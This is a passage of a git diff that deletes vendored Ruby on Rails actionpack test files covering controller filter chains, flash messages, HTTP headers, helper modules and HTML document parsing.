-    def bar
-      render :text => 'bar'
-    end
-
-    protected
-      def first
-        @first = true
-      end
-
-      def second
-        raise OutOfOrder unless @first
-      end
-  end
-
-  class DynamicDispatchController < ActionController::Base
-    before_filter :choose
-
-    %w(foo bar baz).each do |action|
-      define_method(action) { render :text => action }
-    end
-
-    private
-      def choose
-        self.action_name = params[:choose]
-      end
-  end
-
-  class PrependingBeforeAndAfterController < ActionController::Base
-    prepend_before_filter :before_all
-    prepend_after_filter :after_all
-    before_filter :between_before_all_and_after_all
-
-    def before_all
-      @ran_filter ||= []
-      @ran_filter << 'before_all'
-    end
-
-    def after_all
-      @ran_filter ||= []
-      @ran_filter << 'after_all'
-    end
-
-    def between_before_all_and_after_all
-      @ran_filter ||= []
-      @ran_filter << 'between_before_all_and_after_all'
-    end
-    def show
-      render :text => 'hello'
-    end
-  end
-
-  class ErrorToRescue < Exception; end
-
-  class RescuingAroundFilterWithBlock
-    def filter(controller)
-      begin
-        yield
-      rescue ErrorToRescue => ex
-        controller.__send__ :render, :text => "I rescued this: #{ex.inspect}"
-      end
-    end
-  end
-
-  class RescuedController < ActionController::Base
-    around_filter RescuingAroundFilterWithBlock.new
-
-    def show
-      raise ErrorToRescue.new("Something made the bad noise.")
-    end
-
-  private
-    def rescue_action(exception)
-      raise exception
-    end
-  end
-
-  class NonYieldingAroundFilterController < ActionController::Base
-
-    before_filter :filter_one
-    around_filter :non_yielding_filter
-    before_filter :filter_two
-    after_filter :filter_three
-
-    def index
-      render :inline => "index"
-    end
-
-    #make sure the controller complains
-    def rescue_action(e); raise e; end
-
-    private
-
-      def filter_one
-        @filters  ||= []
-        @filters  << "filter_one"
-      end
-
-      def filter_two
-        @filters  << "filter_two"
-      end
-
-      def non_yielding_filter
-        @filters  << "zomg it didn't yield"
-        @filter_return_value
-      end
-
-      def filter_three
-        @filters  << "filter_three"
-      end
-
-  end
-
-  def test_non_yielding_around_filters_not_returning_false_do_not_raise
-    controller = NonYieldingAroundFilterController.new
-    controller.instance_variable_set "@filter_return_value", true
-    assert_nothing_raised do
-      test_process(controller, "index")
-    end
-  end
-
-  def test_non_yielding_around_filters_returning_false_do_not_raise
-    controller = NonYieldingAroundFilterController.new
-    controller.instance_variable_set "@filter_return_value", false
-    assert_nothing_raised do
-      test_process(controller, "index")
-    end
-  end
-
-  def test_after_filters_are_not_run_if_around_filter_returns_false
-    controller = NonYieldingAroundFilterController.new
-    controller.instance_variable_set "@filter_return_value", false
-    test_process(controller, "index")
-    assert_equal ["filter_one", "zomg it didn't yield"], controller.assigns['filters']
-  end
-
-  def test_after_filters_are_not_run_if_around_filter_does_not_yield
-    controller = NonYieldingAroundFilterController.new
-    controller.instance_variable_set "@filter_return_value", true
-    test_process(controller, "index")
-    assert_equal ["filter_one", "zomg it didn't yield"], controller.assigns['filters']
-  end
-
-  def test_empty_filter_chain
-    assert_equal 0, EmptyFilterChainController.filter_chain.size
-    assert test_process(EmptyFilterChainController).template.assigns['action_executed']
-  end
-
-  def test_added_filter_to_inheritance_graph
-    assert_equal [ :ensure_login ], TestController.before_filters
-  end
-
-  def test_base_class_in_isolation
-    assert_equal [ ], ActionController::Base.before_filters
-  end
-
-  def test_prepending_filter
-    assert_equal [ :wonderful_life, :ensure_login ], PrependingController.before_filters
-  end
-
-  def test_running_filters
-    assert_equal %w( wonderful_life ensure_login ), test_process(PrependingController).template.assigns["ran_filter"]
-  end
-
-  def test_running_filters_with_proc
-    assert test_process(ProcController).template.assigns["ran_proc_filter"]
-  end
-
-  def test_running_filters_with_implicit_proc
-    assert test_process(ImplicitProcController).template.assigns["ran_proc_filter"]
-  end
-
-  def test_running_filters_with_class
-    assert test_process(AuditController).template.assigns["was_audited"]
-  end
-
-  def test_running_anomolous_yet_valid_condition_filters
-    response = test_process(AnomolousYetValidConditionController)
-    assert_equal %w( ensure_login ), response.template.assigns["ran_filter"]
-    assert response.template.assigns["ran_class_filter"]
-    assert response.template.assigns["ran_proc_filter1"]
-    assert response.template.assigns["ran_proc_filter2"]
-
-    response = test_process(AnomolousYetValidConditionController, "show_without_filter")
-    assert_equal nil, response.template.assigns["ran_filter"]
-    assert !response.template.assigns["ran_class_filter"]
-    assert !response.template.assigns["ran_proc_filter1"]
-    assert !response.template.assigns["ran_proc_filter2"]
-  end
-
-  def test_running_conditional_options
-    response = test_process(ConditionalOptionsFilter)
-    assert_equal %w( ensure_login ), response.template.assigns["ran_filter"]
-  end
-
-  def test_running_collection_condition_filters
-    assert_equal %w( ensure_login ), test_process(ConditionalCollectionFilterController).template.assigns["ran_filter"]
-    assert_equal nil, test_process(ConditionalCollectionFilterController, "show_without_filter").template.assigns["ran_filter"]
-    assert_equal nil, test_process(ConditionalCollectionFilterController, "another_action").template.assigns["ran_filter"]
-  end
-
-  def test_running_only_condition_filters
-    assert_equal %w( ensure_login ), test_process(OnlyConditionSymController).template.assigns["ran_filter"]
-    assert_equal nil, test_process(OnlyConditionSymController, "show_without_filter").template.assigns["ran_filter"]
-
-    assert test_process(OnlyConditionProcController).template.assigns["ran_proc_filter"]
-    assert !test_process(OnlyConditionProcController, "show_without_filter").template.assigns["ran_proc_filter"]
-
-    assert test_process(OnlyConditionClassController).template.assigns["ran_class_filter"]
-    assert !test_process(OnlyConditionClassController, "show_without_filter").template.assigns["ran_class_filter"]
-  end
-
-  def test_running_except_condition_filters
-    assert_equal %w( ensure_login ), test_process(ExceptConditionSymController).template.assigns["ran_filter"]
-    assert_equal nil, test_process(ExceptConditionSymController, "show_without_filter").template.assigns["ran_filter"]
-
-    assert test_process(ExceptConditionProcController).template.assigns["ran_proc_filter"]
-    assert !test_process(ExceptConditionProcController, "show_without_filter").template.assigns["ran_proc_filter"]
-
-    assert test_process(ExceptConditionClassController).template.assigns["ran_class_filter"]
-    assert !test_process(ExceptConditionClassController, "show_without_filter").template.assigns["ran_class_filter"]
-  end
-
-  def test_running_before_and_after_condition_filters
-    assert_equal %w( ensure_login clean_up_tmp), test_process(BeforeAndAfterConditionController).template.assigns["ran_filter"]
-    assert_equal nil, test_process(BeforeAndAfterConditionController, "show_without_filter").template.assigns["ran_filter"]
-  end
-
-  def test_around_filter
-    controller = test_process(AroundFilterController)
-    assert controller.template.assigns["before_ran"]
-    assert controller.template.assigns["after_ran"]
-  end
-
-  def test_before_after_class_filter
-    controller = test_process(BeforeAfterClassFilterController)
-    assert controller.template.assigns["before_ran"]
-    assert controller.template.assigns["after_ran"]
-  end
-
-  def test_having_properties_in_around_filter
-    controller = test_process(AroundFilterController)
-    assert_equal "before and after", controller.template.assigns["execution_log"]
-  end
-
-  def test_prepending_and_appending_around_filter
-    controller = test_process(MixedFilterController)
-    assert_equal " before aroundfilter  before procfilter  before appended aroundfilter " +
-                 " after appended aroundfilter  after aroundfilter  after procfilter ",
-                 MixedFilterController.execution_log
-  end
-
-  def test_rendering_breaks_filtering_chain
-    response = test_process(RenderingController)
-    assert_equal "something else", response.body
-    assert !response.template.assigns["ran_action"]
-  end
-
-  def test_filters_with_mixed_specialization_run_in_order
-    assert_nothing_raised do
-      response = test_process(MixedSpecializationController, 'bar')
-      assert_equal 'bar', response.body
-    end
-
-    assert_nothing_raised do
-      response = test_process(MixedSpecializationController, 'foo')
-      assert_equal 'foo', response.body
-    end
-  end
-
-  def test_dynamic_dispatch
-    %w(foo bar baz).each do |action|
-      request = ActionController::TestRequest.new
-      request.query_parameters[:choose] = action
-      response = DynamicDispatchController.process(request, ActionController::TestResponse.new)
-      assert_equal action, response.body
-    end
-  end
-
-  def test_running_prepended_before_and_after_filter
-    assert_equal 3, PrependingBeforeAndAfterController.filter_chain.length
-    response = test_process(PrependingBeforeAndAfterController)
-    assert_equal %w( before_all between_before_all_and_after_all after_all ), response.template.assigns["ran_filter"]
-  end
-  
-  def test_skipping_and_limiting_controller
-    assert_equal %w( ensure_login ), test_process(SkippingAndLimitedController, "index").template.assigns["ran_filter"]
-    assert_nil test_process(SkippingAndLimitedController, "public").template.assigns["ran_filter"]
-  end
-
-  def test_skipping_and_reordering_controller
-    assert_equal %w( find_record ensure_login ), test_process(SkippingAndReorderingController, "index").template.assigns["ran_filter"]
-  end
-
-  def test_conditional_skipping_of_filters
-    assert_nil test_process(ConditionalSkippingController, "login").template.assigns["ran_filter"]
-    assert_equal %w( ensure_login find_user ), test_process(ConditionalSkippingController, "change_password").template.assigns["ran_filter"]
-
-    assert_nil test_process(ConditionalSkippingController, "login").template.controller.instance_variable_get("@ran_after_filter")
-    assert_equal %w( clean_up ), test_process(ConditionalSkippingController, "change_password").template.controller.instance_variable_get("@ran_after_filter")
-  end
-
-  def test_conditional_skipping_of_filters_when_parent_filter_is_also_conditional
-    assert_equal %w( conditional_in_parent conditional_in_parent ), test_process(ChildOfConditionalParentController).template.assigns['ran_filter']
-    assert_nil test_process(ChildOfConditionalParentController, 'another_action').template.assigns['ran_filter']
-  end
-
-  def test_condition_skipping_of_filters_when_siblings_also_have_conditions
-    assert_equal %w( conditional_in_parent conditional_in_parent ), test_process(ChildOfConditionalParentController).template.assigns['ran_filter'], "1"
-    assert_equal nil, test_process(AnotherChildOfConditionalParentController).template.assigns['ran_filter']
-    assert_equal %w( conditional_in_parent conditional_in_parent ), test_process(ChildOfConditionalParentController).template.assigns['ran_filter']
-  end
-
-  def test_changing_the_requirements
-    assert_equal nil, test_process(ChangingTheRequirementsController, "go_wild").template.assigns['ran_filter']
-  end
-
-  def test_a_rescuing_around_filter
-    response = nil
-    assert_nothing_raised do
-      response = test_process(RescuedController)
-    end
-
-    assert response.success?
-    assert_equal("I rescued this: #<FilterTest::ErrorToRescue: Something made the bad noise.>", response.body)
-  end
-
-  private
-    def test_process(controller, action = "show")
-      ActionController::Base.class_eval { include ActionController::ProcessWithTest } unless ActionController::Base < ActionController::ProcessWithTest
-      request = ActionController::TestRequest.new
-      request.action = action
-      controller = controller.new if controller.is_a?(Class)
-      controller.process_with_test(request, ActionController::TestResponse.new)
-    end
-end
-
-
-
-class PostsController < ActionController::Base
-  def rescue_action(e); raise e; end
-
-  module AroundExceptions
-    class Error < StandardError ; end
-    class Before < Error ; end
-    class After < Error ; end
-  end
-  include AroundExceptions
-
-  class DefaultFilter
-    include AroundExceptions
-  end
-
-  module_eval %w(raises_before raises_after raises_both no_raise no_filter).map { |action| "def #{action}; default_action end" }.join("\n")
-
-  private
-    def default_action
-      render :inline => "#{action_name} called"
-    end
-end
-
-class ControllerWithSymbolAsFilter < PostsController
-  around_filter :raise_before, :only => :raises_before
-  around_filter :raise_after, :only => :raises_after
-  around_filter :without_exception, :only => :no_raise
-
-  private
-    def raise_before
-      raise Before
-      yield
-    end
-
-    def raise_after
-      yield
-      raise After
-    end
-
-    def without_exception
-      # Do stuff...
-      1 + 1
-
-      yield
-
-      # Do stuff...
-      1 + 1
-    end
-end
-
-class ControllerWithFilterClass < PostsController
-  class YieldingFilter < DefaultFilter
-    def self.filter(controller)
-      yield
-      raise After
-    end
-  end
-
-  around_filter YieldingFilter, :only => :raises_after
-end
-
-class ControllerWithFilterInstance < PostsController
-  class YieldingFilter < DefaultFilter
-    def filter(controller)
-      yield
-      raise After
-    end
-  end
-
-  around_filter YieldingFilter.new, :only => :raises_after
-end
-
-class ControllerWithFilterMethod < PostsController
-  class YieldingFilter < DefaultFilter
-    def filter(controller)
-      yield
-      raise After
-    end
-  end
-
-  around_filter YieldingFilter.new.method(:filter), :only => :raises_after
-end
-
-class ControllerWithProcFilter < PostsController
-  around_filter(:only => :no_raise) do |c,b|
-    c.instance_variable_set(:"@before", true)
-    b.call
-    c.instance_variable_set(:"@after", true)
-  end
-end
-
-class ControllerWithNestedFilters < ControllerWithSymbolAsFilter
-  around_filter :raise_before, :raise_after, :without_exception, :only => :raises_both
-end
-
-class ControllerWithAllTypesOfFilters < PostsController
-  before_filter :before
-  around_filter :around
-  after_filter :after
-  around_filter :around_again
-
-  private
-  def before
-    @ran_filter ||= []
-    @ran_filter << 'before'
-  end
-
-  def around
-    @ran_filter << 'around (before yield)'
-    yield
-    @ran_filter << 'around (after yield)'
-  end
-
-  def after
-    @ran_filter << 'after'
-  end
-
-  def around_again
-    @ran_filter << 'around_again (before yield)'
-    yield
-    @ran_filter << 'around_again (after yield)'
-  end
-end
-
-class ControllerWithTwoLessFilters < ControllerWithAllTypesOfFilters
-  skip_filter :around_again
-  skip_filter :after
-end
-
-class YieldingAroundFiltersTest < Test::Unit::TestCase
-  include PostsController::AroundExceptions
-
-  def test_filters_registering
-    assert_equal 1, ControllerWithFilterMethod.filter_chain.size
-    assert_equal 1, ControllerWithFilterClass.filter_chain.size
-    assert_equal 1, ControllerWithFilterInstance.filter_chain.size
-    assert_equal 3, ControllerWithSymbolAsFilter.filter_chain.size
-    assert_equal 6, ControllerWithNestedFilters.filter_chain.size
-    assert_equal 4, ControllerWithAllTypesOfFilters.filter_chain.size
-  end
-
-  def test_base
-    controller = PostsController
-    assert_nothing_raised { test_process(controller,'no_raise') }
-    assert_nothing_raised { test_process(controller,'raises_before') }
-    assert_nothing_raised { test_process(controller,'raises_after') }
-    assert_nothing_raised { test_process(controller,'no_filter') }
-  end
-
-  def test_with_symbol
-    controller = ControllerWithSymbolAsFilter
-    assert_nothing_raised { test_process(controller,'no_raise') }
-    assert_raise(Before) { test_process(controller,'raises_before') }
-    assert_raise(After) { test_process(controller,'raises_after') }
-    assert_nothing_raised { test_process(controller,'no_raise') }
-  end
-
-  def test_with_class
-    controller = ControllerWithFilterClass
-    assert_nothing_raised { test_process(controller,'no_raise') }
-    assert_raise(After) { test_process(controller,'raises_after') }
-  end
-
-  def test_with_instance
-    controller = ControllerWithFilterInstance
-    assert_nothing_raised { test_process(controller,'no_raise') }
-    assert_raise(After) { test_process(controller,'raises_after') }
-  end
-
-  def test_with_method
-    controller = ControllerWithFilterMethod
-    assert_nothing_raised { test_process(controller,'no_raise') }
-    assert_raise(After) { test_process(controller,'raises_after') }
-  end
-
-  def test_with_proc
-    controller = test_process(ControllerWithProcFilter,'no_raise')
-    assert controller.template.assigns['before']
-    assert controller.template.assigns['after']
-  end
-
-  def test_nested_filters
-    controller = ControllerWithNestedFilters
-    assert_nothing_raised do
-      begin
-        test_process(controller,'raises_both')
-      rescue Before, After
-      end
-    end
-    assert_raise Before do
-      begin
-        test_process(controller,'raises_both')
-      rescue After
-      end
-    end
-  end
-
-  def test_filter_order_with_all_filter_types
-    controller = test_process(ControllerWithAllTypesOfFilters,'no_raise')
-    assert_equal 'before around (before yield) around_again (before yield) around_again (after yield) around (after yield) after',controller.template.assigns['ran_filter'].join(' ')
-  end
-
-  def test_filter_order_with_skip_filter_method
-    controller = test_process(ControllerWithTwoLessFilters,'no_raise')
-    assert_equal 'before around (before yield) around (after yield)',controller.template.assigns['ran_filter'].join(' ')
-  end
-
-  def test_first_filter_in_multiple_before_filter_chain_halts
-    controller = ::FilterTest::TestMultipleFiltersController.new
-    response = test_process(controller, 'fail_1')
-    assert_equal ' ', response.body
-    assert_equal 1, controller.instance_variable_get(:@try)
-    assert controller.instance_variable_get(:@before_filter_chain_aborted)
-  end
-
-  def test_second_filter_in_multiple_before_filter_chain_halts
-    controller = ::FilterTest::TestMultipleFiltersController.new
-    response = test_process(controller, 'fail_2')
-    assert_equal ' ', response.body
-    assert_equal 2, controller.instance_variable_get(:@try)
-    assert controller.instance_variable_get(:@before_filter_chain_aborted)
-  end
-
-  def test_last_filter_in_multiple_before_filter_chain_halts
-    controller = ::FilterTest::TestMultipleFiltersController.new
-    response = test_process(controller, 'fail_3')
-    assert_equal ' ', response.body
-    assert_equal 3, controller.instance_variable_get(:@try)
-    assert controller.instance_variable_get(:@before_filter_chain_aborted)
-  end
-
-  protected
-    def test_process(controller, action = "show")
-      ActionController::Base.class_eval { include ActionController::ProcessWithTest } unless ActionController::Base < ActionController::ProcessWithTest
-      request = ActionController::TestRequest.new
-      request.action = action
-      controller = controller.new if controller.is_a?(Class)
-      controller.process_with_test(request, ActionController::TestResponse.new)
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/flash_test.rb b/vendor/rails/actionpack/test/controller/flash_test.rb
deleted file mode 100644
index daca8806..00000000
--- a/vendor/rails/actionpack/test/controller/flash_test.rb
+++ /dev/null
@@ -1,174 +0,0 @@
-require 'abstract_unit'
-
-class FlashTest < ActionController::TestCase
-  class TestController < ActionController::Base
-    def set_flash
-      flash["that"] = "hello"
-      render :inline => "hello"
-    end
-
-    def set_flash_now
-      flash.now["that"] = "hello"
-      flash.now["foo"] ||= "bar"
-      flash.now["foo"] ||= "err"
-      @flashy = flash.now["that"]
-      @flash_copy = {}.update flash
-      render :inline => "hello"
-    end
-
-    def attempt_to_use_flash_now
-      @flash_copy = {}.update flash
-      @flashy = flash["that"]
-      render :inline => "hello"
-    end
-
-    def use_flash
-      @flash_copy = {}.update flash
-      @flashy = flash["that"]
-      render :inline => "hello"
-    end
-
-    def use_flash_and_keep_it
-      @flash_copy = {}.update flash
-      @flashy = flash["that"]
-      flash.keep
-      render :inline => "hello"
-    end
-    
-    def use_flash_and_update_it
-      flash.update("this" => "hello again")
-      @flash_copy = {}.update flash
-      render :inline => "hello"
-    end
-
-    def use_flash_after_reset_session
-      flash["that"] = "hello"
-      @flashy_that = flash["that"]
-      reset_session
-      @flashy_that_reset = flash["that"]
-      flash["this"] = "good-bye"
-      @flashy_this = flash["this"]
-      render :inline => "hello"
-    end
-
-    def rescue_action(e)
-      raise unless ActionView::MissingTemplate === e
-    end
-
-    # methods for test_sweep_after_halted_filter_chain
-    before_filter :halt_and_redir, :only => "filter_halting_action"
-
-    def std_action
-      @flash_copy = {}.update(flash)
-    end
-
-    def filter_halting_action
-      @flash_copy = {}.update(flash)
-    end
-
-    def halt_and_redir
-      flash["foo"] = "bar"
-      redirect_to :action => "std_action"
-      @flash_copy = {}.update(flash)
-    end
-    
-    def redirect_with_alert
-      redirect_to '/nowhere', :alert => "Beware the nowheres!"
-    end
-    
-    def redirect_with_notice
-      redirect_to '/somewhere', :notice => "Good luck in the somewheres!"
-    end
-
-    def redirect_with_other_flashes
-      redirect_to '/wonderland', :flash => { :joyride => "Horses!" }
-    end
-  end
-
-  tests TestController
-
-  def test_flash
-    get :set_flash
-
-    get :use_flash
-    assert_equal "hello", @response.template.assigns["flash_copy"]["that"]
-    assert_equal "hello", @response.template.assigns["flashy"]
-
-    get :use_flash
-    assert_nil @response.template.assigns["flash_copy"]["that"], "On second flash"
-  end
-
-  def test_keep_flash
-    get :set_flash
-    
-    get :use_flash_and_keep_it
-    assert_equal "hello", @response.template.assigns["flash_copy"]["that"]
-    assert_equal "hello", @response.template.assigns["flashy"]
-
-    get :use_flash
-    assert_equal "hello", @response.template.assigns["flash_copy"]["that"], "On second flash"
-
-    get :use_flash
-    assert_nil @response.template.assigns["flash_copy"]["that"], "On third flash"
-  end
-  
-  def test_flash_now
-    get :set_flash_now
-    assert_equal "hello", @response.template.assigns["flash_copy"]["that"]
-    assert_equal "bar"  , @response.template.assigns["flash_copy"]["foo"]
-    assert_equal "hello", @response.template.assigns["flashy"]
-
-    get :attempt_to_use_flash_now
-    assert_nil @response.template.assigns["flash_copy"]["that"]
-    assert_nil @response.template.assigns["flash_copy"]["foo"]
-    assert_nil @response.template.assigns["flashy"]
-  end 
-  
-  def test_update_flash
-    get :set_flash
-    get :use_flash_and_update_it
-    assert_equal "hello",       @response.template.assigns["flash_copy"]["that"]
-    assert_equal "hello again", @response.template.assigns["flash_copy"]["this"]
-    get :use_flash
-    assert_nil                  @response.template.assigns["flash_copy"]["that"], "On second flash"
-    assert_equal "hello again", @response.template.assigns["flash_copy"]["this"], "On second flash"
-  end
-
-  def test_flash_after_reset_session
-    get :use_flash_after_reset_session
-    assert_equal "hello",    @response.template.assigns["flashy_that"]
-    assert_equal "good-bye", @response.template.assigns["flashy_this"]
-    assert_nil   @response.template.assigns["flashy_that_reset"]
-  end 
-
-  def test_sweep_after_halted_filter_chain
-    get :std_action
-    assert_nil @response.template.assigns["flash_copy"]["foo"]
-    get :filter_halting_action
-    assert_equal "bar", @response.template.assigns["flash_copy"]["foo"]
-    get :std_action # follow redirection
-    assert_equal "bar", @response.template.assigns["flash_copy"]["foo"]
-    get :std_action
-    assert_nil @response.template.assigns["flash_copy"]["foo"]
-  end
-
-  def test_does_not_set_the_session_if_the_flash_is_empty
-    get :std_action
-    assert_nil session["flash"]
-  end
-  
-  def test_redirect_to_with_alert
-    get :redirect_with_alert
-    assert_equal "Beware the nowheres!", @controller.send(:flash)[:alert]
-  end
-  
-  def test_redirect_to_with_notice
-    get :redirect_with_notice
-    assert_equal "Good luck in the somewheres!", @controller.send(:flash)[:notice]
-  end
-  
-  def test_redirect_to_with_other_flashes
-    get :redirect_with_other_flashes
-    assert_equal "Horses!", @controller.send(:flash)[:joyride]
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/header_test.rb b/vendor/rails/actionpack/test/controller/header_test.rb
deleted file mode 100644
index 33c14a18..00000000
--- a/vendor/rails/actionpack/test/controller/header_test.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'abstract_unit'
-
-class HeaderTest < Test::Unit::TestCase
-  def setup
-    @headers = ActionController::Http::Headers.new("HTTP_CONTENT_TYPE"=>"text/plain")
-  end
-  
-  def test_content_type_works
-    assert_equal "text/plain", @headers["Content-Type"]
-    assert_equal "text/plain", @headers["content-type"]
-    assert_equal "text/plain", @headers["CONTENT_TYPE"]
-    assert_equal "text/plain", @headers["HTTP_CONTENT_TYPE"]    
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/helper_test.rb b/vendor/rails/actionpack/test/controller/helper_test.rb
deleted file mode 100644
index 49145864..00000000
--- a/vendor/rails/actionpack/test/controller/helper_test.rb
+++ /dev/null
@@ -1,224 +0,0 @@
-require 'abstract_unit'
-
-ActionController::Base.helpers_dir = File.dirname(__FILE__) + '/../fixtures/helpers'
-
-class TestController < ActionController::Base
-  attr_accessor :delegate_attr
-  def delegate_method() end
-  def rescue_action(e) raise end
-end
-
-module Fun
-  class GamesController < ActionController::Base
-    def render_hello_world
-      render :inline => "hello: <%= stratego %>"
-    end
-
-    def rescue_action(e) raise end
-  end
-
-  class PdfController < ActionController::Base
-    def test
-      render :inline => "test: <%= foobar %>"
-    end
-
-    def rescue_action(e) raise end
-  end
-end
-
-class ApplicationController < ActionController::Base
-  helper :all
-end
-
-module LocalAbcHelper
-  def a() end
-  def b() end
-  def c() end
-end
-
-class HelperTest < Test::Unit::TestCase
-  def setup
-    # Increment symbol counter.
-    @symbol = (@@counter ||= 'A0').succ!.dup
-
-    # Generate new controller class.
-    controller_class_name = "Helper#{@symbol}Controller"
-    eval("class #{controller_class_name} < TestController; end")
-    @controller_class = self.class.const_get(controller_class_name)
-
-    # Set default test helper.
-    self.test_helper = LocalAbcHelper
-  end
-  
-  def test_deprecated_helper
-    assert_equal expected_helper_methods, missing_methods
-    assert_nothing_raised { @controller_class.helper TestHelper }
-    assert_equal [], missing_methods
-  end
-
-  def test_declare_helper
-    require 'abc_helper'
-    self.test_helper = AbcHelper
-    assert_equal expected_helper_methods, missing_methods
-    assert_nothing_raised { @controller_class.helper :abc }
-    assert_equal [], missing_methods
-  end
-
-  def test_declare_missing_helper
-    assert_equal expected_helper_methods, missing_methods
-    assert_raise(MissingSourceFile) { @controller_class.helper :missing }
-  end
-
-  def test_declare_missing_file_from_helper
-    require 'broken_helper'
-  rescue LoadError => e
-    assert_nil(/\bbroken_helper\b/.match(e.to_s)[1])
-  end
-
-  def test_helper_block
-    assert_nothing_raised {
-      @controller_class.helper { def block_helper_method; end }
-    }
-    assert master_helper_methods.include?('block_helper_method')
-  end
-
-  def test_helper_block_include
-    assert_equal expected_helper_methods, missing_methods
-    assert_nothing_raised {
-      @controller_class.helper { include HelperTest::TestHelper }
-    }
-    assert_equal [], missing_methods
-  end
-
-  def test_helper_method
-    assert_nothing_raised { @controller_class.helper_method :delegate_method }
-    assert master_helper_methods.include?('delegate_method')
-  end
-
-  def test_helper_attr
-    assert_nothing_raised { @controller_class.helper_attr :delegate_attr }
-    assert master_helper_methods.include?('delegate_attr')
-    assert master_helper_methods.include?('delegate_attr=')
-  end
-
-  def test_helper_for_nested_controller
-    request  = ActionController::TestRequest.new
-    response = ActionController::TestResponse.new
-    request.action = 'render_hello_world'
-
-    assert_equal 'hello: Iz guuut!', Fun::GamesController.process(request, response).body
-  end
-
-  def test_helper_for_acronym_controller
-    request  = ActionController::TestRequest.new
-    response = ActionController::TestResponse.new
-    request.action = 'test'
-
-    assert_equal 'test: baz', Fun::PdfController.process(request, response).body
-  end
-
-  def test_all_helpers
-    methods = ApplicationController.master_helper_module.instance_methods.map(&:to_s)
-
-    # abc_helper.rb
-    assert methods.include?('bare_a')
-
-    # fun/games_helper.rb
-    assert methods.include?('stratego')
-
-    # fun/pdf_helper.rb
-    assert methods.include?('foobar')
-  end
-
-  def test_all_helpers_with_alternate_helper_dir
-    @controller_class.helpers_dir = File.dirname(__FILE__) + '/../fixtures/alternate_helpers'
-
-    # Reload helpers
-    @controller_class.master_helper_module = Module.new
-    @controller_class.helper :all
-
-    # helpers/abc_helper.rb should not be included
-    assert !master_helper_methods.include?('bare_a')
-
-    # alternate_helpers/foo_helper.rb
-    assert master_helper_methods.include?('baz')
-  end
-
-  def test_helper_proxy
-    methods = ApplicationController.helpers.methods.map(&:to_s)
-
-    # ActionView
-    assert methods.include?('pluralize')
-
-    # abc_helper.rb
-    assert methods.include?('bare_a')
-
-    # fun/games_helper.rb
-    assert methods.include?('stratego')
-
-    # fun/pdf_helper.rb
-    assert methods.include?('foobar')
-  end
-
-  private
-    def expected_helper_methods
-      TestHelper.instance_methods.map(&:to_s)
-    end
-
-    def master_helper_methods
-      @controller_class.master_helper_module.instance_methods.map(&:to_s)
-    end
-
-    def missing_methods
-      expected_helper_methods - master_helper_methods
-    end
-
-    def test_helper=(helper_module)
-      silence_warnings { self.class.const_set('TestHelper', helper_module) }
-    end
-end
-
-
-class IsolatedHelpersTest < Test::Unit::TestCase
-  class A < ActionController::Base
-    def index
-      render :inline => '<%= shout %>'
-    end
-
-    def rescue_action(e) raise end
-  end
-
-  class B < A
-    helper { def shout; 'B' end }
-
-    def index
-      render :inline => '<%= shout %>'
-    end
-  end
-
-  class C < A
-    helper { def shout; 'C' end }
-
-    def index
-      render :inline => '<%= shout %>'
-    end
-  end
-
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @request.action = 'index'
-  end
-
-  def test_helper_in_a
-    assert_raise(NameError) { A.process(@request, @response) }
-  end
-
-  def test_helper_in_b
-    assert_equal 'B', B.process(@request, @response).body
-  end
-
-  def test_helper_in_c
-    assert_equal 'C', C.process(@request, @response).body
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/html-scanner/cdata_node_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/cdata_node_test.rb
deleted file mode 100644
index 1822cc56..00000000
--- a/vendor/rails/actionpack/test/controller/html-scanner/cdata_node_test.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'abstract_unit'
-
-class CDATANodeTest < Test::Unit::TestCase
-  def setup
-    @node = HTML::CDATA.new(nil, 0, 0, "<p>howdy</p>")
-  end
-
-  def test_to_s
-    assert_equal "<![CDATA[<p>howdy</p>]]>", @node.to_s
-  end
-
-  def test_content
-    assert_equal "<p>howdy</p>", @node.content
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/html-scanner/document_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/document_test.rb
deleted file mode 100644
index c68f04fa..00000000
--- a/vendor/rails/actionpack/test/controller/html-scanner/document_test.rb
+++ /dev/null
@@ -1,148 +0,0 @@
-require 'abstract_unit'
-
-class DocumentTest < Test::Unit::TestCase
-  def test_handle_doctype
-    doc = nil
-    assert_nothing_raised do
-      doc = HTML::Document.new <<-HTML.strip
-        <!DOCTYPE "blah" "blah" "blah">
-        <html>
-        </html>
-      HTML
-    end
-    assert_equal 3, doc.root.children.length
-    assert_equal %{<!DOCTYPE "blah" "blah" "blah">}, doc.root.children[0].content
-    assert_match %r{\s+}m, doc.root.children[1].content
-    assert_equal "html", doc.root.children[2].name
-  end
-  
-  def test_find_img
-    doc = HTML::Document.new <<-HTML.strip
-      <html>
-        <body>
-          <p><img src="hello.gif"></p>
-        </body>
-      </html>
-    HTML
-    assert doc.find(:tag=>"img", :attributes=>{"src"=>"hello.gif"})
-  end
-
-  def test_find_all
-    doc = HTML::Document.new <<-HTML.strip
-      <html>
-        <body>
-          <p class="test"><img src="hello.gif"></p>
-          <div class="foo">
-            <p class="test">something</p>
-            <p>here is <em class="test">more</em></p>
-          </div>
-        </body>
-      </html>
-    HTML
-    all = doc.find_all :attributes => { :class => "test" }
-    assert_equal 3, all.length
-    assert_equal [ "p", "p", "em" ], all.map { |n| n.name }
-  end
-
-  def test_find_with_text
-    doc = HTML::Document.new <<-HTML.strip
-      <html>
-        <body>
-          <p>Some text</p>
-        </body>
-      </html>
-    HTML
-    assert doc.find(:content => "Some text")
-    assert doc.find(:tag => "p", :child => { :content => "Some text" })
-    assert doc.find(:tag => "p", :child => "Some text")
-    assert doc.find(:tag => "p", :content => "Some text")
-  end
-
-  def test_parse_xml
-    assert_nothing_raised { HTML::Document.new("<tags><tag/></tags>", true, true) }
-    assert_nothing_raised { HTML::Document.new("<outer><link>something</link></outer>", true, true) }
-  end
-
-  def test_parse_document
-    doc = HTML::Document.new(<<-HTML)
-      <div>
-        <h2>blah</h2>
-        <table>
-        </table>
-      </div>
-    HTML
-    assert_not_nil doc.find(:tag => "div", :children => { :count => 1, :only => { :tag => "table" } })
-  end
-
-  def test_tag_nesting_nothing_to_s
